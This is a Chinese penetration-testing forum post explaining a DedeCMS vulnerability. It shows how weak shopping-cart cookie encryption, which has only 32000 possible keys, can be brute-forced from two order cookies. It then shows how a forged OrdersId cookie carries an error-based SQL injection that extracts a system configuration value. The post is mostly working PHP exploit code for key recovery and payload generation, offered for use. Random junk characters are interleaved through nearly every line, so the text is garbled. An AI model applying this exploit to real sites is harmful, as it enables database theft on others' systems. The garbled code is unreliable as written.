中国网络渗透测试联盟

标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-13 23:58
标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=8 C; W1 P' x- {1 P+ j
在 include/shopcar.class.php中! h! m4 M; A! f7 }
先看一下这个shopcar类是如何生成cookie的1 v+ ^4 _' i9 V* ]0 ?6 R
239      function saveCookie($key,$value)1 i  d7 P  O' _# d
240      {) h- r0 _- v9 o1 W, S5 w2 m- s% J; J! t
241          if(is_array($value))
& P# q3 B( p4 q242          {
0 G6 n! v( I, v0 W* b. ~243              $value = $this->enCrypt($this->enCode($value));
  c, @) Z; x, L% Q244          }
( q2 x( k6 {# d1 K: ^/ I4 _245          else
/ w; ^: N* S/ h5 o4 X" E246          {$ {+ N1 G! T2 s: h: I* S+ @
247              $value = $this->enCrypt($value);
+ X6 ~' a9 C- H) W. V7 t& h248          }
- L' T1 K/ ]% b, X6 D3 o249          setcookie($key,$value,time()+36000,’/');& c- [  D8 _! I' O
250      }+ s- ^8 I$ r9 s) S* [
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数7 k  b! Z  G. e% M( ~2 a& [/ D$ R
186      function enCrypt($txt)
8 w" [0 a, V0 q, y, k. {187      {; y1 a; }0 ?0 g5 d
188          srand((double)microtime() * 1000000);4 w9 D( g3 Y8 X+ L3 f
189          $encrypt_key = md5(rand(0, 32000));
0 L5 K3 J) t' F8 K190          $ctr = 0;: y1 q+ C. c' L- _
191          $tmp = ”;
0 r; c& T' e! s/ ]: T6 a192          for($i = 0; $i < strlen($txt); $i++)
2 h6 ?+ d1 T) q& y193          {
8 w! y; i3 ~# ~; x  N1 U6 V194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, ~' y- k/ Q/ R% O0 L2 ~195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);" m# n8 F" z  @8 S3 E
196          }5 n' P$ x9 \" ^$ E8 z$ w! _
197          return base64_encode($this->setKey($tmp));
2 m, H7 J) {! U+ Z* T1 f2 n198      }
% Z9 x4 `1 Q- a- }1 M7 |3 [213      function setKey($txt)& `- Z; L; ?9 y8 ]( D( E
214      {
; N0 L' R1 y8 X* L) v& T( {$ x; _215          global $cfg_cookie_encode;
9 F- {0 g& B; S# u216          $encrypt_key = md5(strtolower($cfg_cookie_encode));" }/ U4 V3 p% ^; c- d( H0 Q
217          $ctr = 0;7 P0 |/ L- X; E- N5 I# x
218          $tmp = ”;. E. E2 W8 N. r
219          for($i = 0; $i < strlen($txt); $i++)& g7 E8 l9 E3 x" i& w7 n
220          {" {2 H$ t7 n8 P, b+ W8 A/ q8 B
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
  A0 S1 D, v. |! x222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];) V! V- ^7 W+ F) C. x
223          }2 b: B: j! f( L* n- R7 R
224          return $tmp;
9 P6 G2 T/ d& g1 N- H2 ]225      }
6 t2 |9 H+ D2 A8 Y( u  renCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
, v% J9 a$ D( F5 q5 a然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
' M9 \5 q8 [: ~, B& `具体代码如下:/ ~* |2 X4 D0 q! o
<?php
3 `& ]; F/ s( B3 R1 O6 O$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
& u8 k5 `) n- _; I1 a9 j$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
) |; I( o. K/ n' w( m- B  P4 O, e$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here# {6 c% @3 p, A$ h
function reStrCode($code,$string)  }. W' w: a) F4 l+ r# Y8 x; P
{
$ I, Q$ a. X# t& J! K* a# E$ s5 c$code = base64_decode($code);( D& D1 i8 ]& f" P
$key = “”;5 m  t3 W7 ^1 S/ R
for($i=0 ; $i<32 ; $i++)" J: t! c$ q! V) b, b" h
{# @" n# m6 I1 D  L( D. D! Z
$key .= $string[$i] ^ $code[$i];
) V# E/ N0 E. T7 b9 I}/ b# s' q  E' c1 l6 [; A5 p% c
return $key;
; W4 a0 T; u# E7 k: R, i1 K. n& t}
: h9 p; f% A7 C( x/ Hfunction getKeys($cookie,$plantxt)
+ ^' v% ~7 g: R/ i# |{- w8 e) `/ x4 }4 H0 f& H
$tmp = $cookie;
, ]2 m1 i- W4 E$results = array();) B; f4 f# `2 l( P1 W4 N
for($j=0 ; $j < 32000; $j++)4 M% x8 I3 ]8 m% p4 a
{
7 |3 D# N9 o# q. i7 _, v0 E' C+ U
$txt = $plantxt;
; R+ Y3 U) _# ?8 E$ctr = 0;2 \7 w4 d2 _$ A. D$ `1 B( |
$tmp = ”;1 w) g* a: X! g2 R
$encrypt_key = md5($j);
: w+ h& Q! B# s$ m6 ^for($i =0; $i < strlen($txt); $i ++)0 g4 Q& n1 c0 t3 M* ?6 h/ G
{
* n1 h4 l6 {; Y& G* a$ o) M# n6 {$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# F% O  v: O% W5 Z$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
% C/ K, d8 f) ]8 I/ o; j- v6 x5 `}/ c$ O$ V) j9 N) P- v
$string = $tmp;
. w. s- R& W5 O7 E$code = $cookie;6 }0 c4 |, p: f$ O) j; w; a
$result = reStrCode($code,$string);! N# J8 b+ g- t# v) s: g
if(eregi(‘^[a-z0-9]+$’,$result))
* U) o+ ^; S! x; H{+ x/ i4 K, P$ A  G2 }; r
echo $result.”\n”;+ {" @: Q, Q7 f2 x& B% Q8 ]% ^
$results[] = $result;
  C3 p/ k6 _; _* e3 S9 L/ `; o}
  e+ c# R# ]: b' E$ [}
9 k0 t. ^* h+ d. j+ Hreturn $results;
- P4 d2 [% H. ~1 k  P}' A5 m! G, e5 X! o$ Z1 w8 }6 K# [2 l
$results1 = getKeys($cookie1,$plantxt);
2 J; M8 C$ a# H) `# q0 V$results2 = getKeys($cookie2,$plantxt);# P( C+ k3 f, I) y' E) m; c6 p& O
print “\n——————–real key————————–\n”;) Z# _9 C6 G/ C1 f$ W
foreach($results1 as $test1)
3 \  B" T6 Y9 I0 Z; o{4 ^6 j4 L+ d! {3 j  w: M2 w* ?& G0 J
foreach($results2 as $test2)* t$ [0 c/ v0 s
{: d, {$ X6 e9 Q4 k9 b! g
if($test1 == $test2)
7 L" z1 @, _( v7 X% P{9 j/ d/ \. ]  q8 X* P/ H7 H+ l
echo $test1.”\n”;
: u8 V& G$ F5 F+ u8 Q5 P5 A}
: E4 T. m/ ?6 g}
0 J, \8 ~0 s2 v0 Y# ^1 @, ~+ I}
8 p/ [5 |, |6 O3 q7 G3 G$ z?>
/ Y. X0 R: O! t# L/ @* j3 Gcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,% ]& |. V& l5 L( `
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
% b! I4 g! _/ Z( T然后推算出md5(strtolower($cfg_cookie_encode))
! |8 d, E; s, Q3 u得到这个key之后,我们就可以构造任意购物车的cookie
- G/ I: v2 A- d; w6 b8 g* y接着看$ m" v0 W" R( W) M
20  class MemberShops8 Y5 m, d- Z8 [
21  {. M5 u# K/ J( x9 p& {  e% W4 l$ U7 [5 e
22      var $OrdersId;# _+ Q5 b' B. N# k
23      var $productsId;
2 Y# S. Z) e7 Y) V+ x24
' \( Q. s" ]+ H8 `25      function __construct()
* l" e/ g3 M4 H7 s26      {
- Q! o+ _3 p8 A: C5 o0 x27          $this->OrdersId = $this->getCookie(“OrdersId”);/ m6 d+ K1 v) \
28          if(empty($this->OrdersId))
0 l6 n/ }: k/ V6 ~& K29          {
+ P/ q2 s+ ~2 \- x5 B30              $this->OrdersId = $this->MakeOrders();
% p9 I1 l* r5 ~) E  j* N, s31          }
7 D/ F( U% S0 P1 D# D32      }
: d$ Y: X8 J3 C' T9 \/ B7 _发现OrderId是从cookie里面获取的
+ u+ a$ X4 s  B. I然后
/ m' ^/ w, y+ {& h3 r/plus/carbuyaction.php中的
0 e0 f5 _/ R6 p/ ?6 j/ H0 ^2 `29      $cart    = new MemberShops();  L9 i1 Y7 U0 y
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号. E% |9 l) X9 j$ P( _# j. E
……, Y+ Q% _* h6 v" C& A
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
  E. j' v  i1 t* H+ i8 [接着我们就可以注入了5 m5 }. j" N1 ?6 B
通过利用下面代码生成cookie:2 ^( x3 \7 v$ n
<?php
. m) G& C/ T; f$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;  L& A- O& G2 u. t9 }2 |1 F
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here# e6 z7 H! v0 B4 h  d  I6 ?4 M
function setKey($txt)
7 o: Z; S" i! o/ O  a6 P{
$ Y. @4 }! D& G2 t+ C. o% V2 [global $encrypt_key;
3 ~! t& e3 P& V8 Z$ctr = 0;5 K3 @) P* f3 Z( A5 b
$tmp = ”;; `& {5 V& |8 n" P0 |' r
for($i = 0; $i < strlen($txt); $i++)
- U) E, Y8 H% W8 k9 x) {4 _# Q{
9 q! I7 W2 ^  _$ Z# [! Z! E+ Y$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# \5 I0 R6 m4 p% \% g& O$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];  @1 \9 I- U' e0 P0 z" h' F: Y3 {
}$ L8 t8 {% D( K$ ?" k4 ]# f- \
return $tmp;
8 ^& x: Y. |% w/ b- a}
( v0 K& e, \  A* _4 \/ X  Lfunction enCrypt($txt)
" ~2 ^; W) T' O" e{  B, F6 j4 \$ I* r9 ^
srand((double)microtime() * 1000000);
6 T; `- p) `9 b8 V& f# S& _$encrypt_key = md5(rand(0, 32000));
9 u% B3 v8 b  e% H1 Y$ctr = 0;
2 [: P% h3 Y8 a4 o$tmp = ”;
$ }6 x7 X: r  A% s( X' O- \( Lfor($i = 0; $i < strlen($txt); $i++)4 w- Q2 i0 X" A: \+ ?; E) b
{+ m3 W2 Q+ T- |9 t6 `! @4 W
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ \2 J; r) t0 y( ~1 t% R$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
( o0 n9 m0 m6 E1 b( `}7 n, D% H* I, {  E
return base64_encode(setKey($tmp));
: i' X. _- c5 V9 @' E}
( O- i+ f7 Z$ l8 Ufor($dest =0;$dest = enCrypt($txt);)- @: Z6 S+ Z! o2 Z+ i
{
- O: x+ W6 G& |/ z4 _1 L1 mif(!strpos($dest,’+'))2 a9 @$ s+ ?  q- T5 w$ _
{
1 x$ i, h; H; [9 Dbreak;
5 B/ `' o! `0 |; j}: a! X) t" ?, t, Z5 t
}
* \. U$ F$ F+ v; Fecho $dest.”\n”;
$ X# E4 B4 l: q2 L3 N?>
2 z( r1 S( c( u! @* S3 I; L# e/ c" ~$ T" @' E





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2